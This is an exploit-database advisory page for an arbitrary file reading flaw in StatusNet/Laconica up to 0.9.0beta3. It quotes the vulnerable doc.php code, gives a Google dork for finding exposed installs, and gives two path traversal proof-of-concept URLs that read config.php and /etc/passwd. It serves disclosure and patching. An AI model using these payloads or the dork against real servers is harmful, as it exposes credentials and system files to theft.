StatusNet/Laconica - exploit.company

vendor:

StatusNet/Laconica

by:

spiderboy

7,5

CVSS

HIGH

Arbitrary File Reading

CWE

Product Name: StatusNet/Laconica

Affected Version From: 0.7.4

Affected Version To: 0.9.0beta3

Patch Exists: YES

Related CWE: N/A

CPE: a:statusnet:statusnet

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix/Linux

2013

StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading

StatusNet/Laconica versions 0.7.4, 0.8.2, and 0.9.0beta3 are vulnerable to arbitrary file reading. The vulnerability exists due to a lack of input validation on the user-supplied parameter 'title' in the 'actions/doc.php' file. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to read arbitrary files from the server.

Mitigation:

Upgrade to the latest version of StatusNet/Laconica.

Source

Exploit-DB raw data:

+-------------------------------------------------------------------------------+
+ StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading +
+-------------------------------------------------------------------------------+

# Date:
	- 10/10/2013

# Exploit Author:
	- spiderboy

# Vendor Homepage:
	- http://status.net/

# Software Links:
	- http://status.net/laconica-0.7.4.tar.gz
	- http://status.net/statusnet-0.8.2.tar.gz
	- http://status.net/statusnet-0.9.0beta3.tar.gz

# Version:
	- Branch 0.7.X : <= 0.7.4
	- Branch 0.8.X : <= 0.8.2
	- Branch 0.9.X : <= 0.9.0beta3

# Tested on:
	- Unix/Linux

# Category:
	- Webapps

# Platform:
	- php

# Advisories :
	- http://status.net/wiki/Security_alert_0000002
	- http://osvdb.org/show/osvdb/95586

# Google Dork:
	- "It runs the StatusNet microblogging software, version 0.8.2"

# Vendor product description:
	- Free and Open Source social software

# Vulnerable code:
	- actions/doc.php:
	--------------------------------------------------------------------
	function handle($args)
	{
		parent::handle($args);
		$this->title    = $this->trimmed('title');
		$this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1]
		if (!file_exists($this->filename)) {
			$this->clientError(_('No such document.'));
			return;
		}
		$this->showPage();
	}
	--------------------------------------------------------------------
	[1] : No check on user-supplied parameter $this->title

# Proof of concept:
	- http://[host]/index.php?action=doc&title=../config.php
	- http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd

# Solution:
	- Upgrade to latest version : http://status.net/download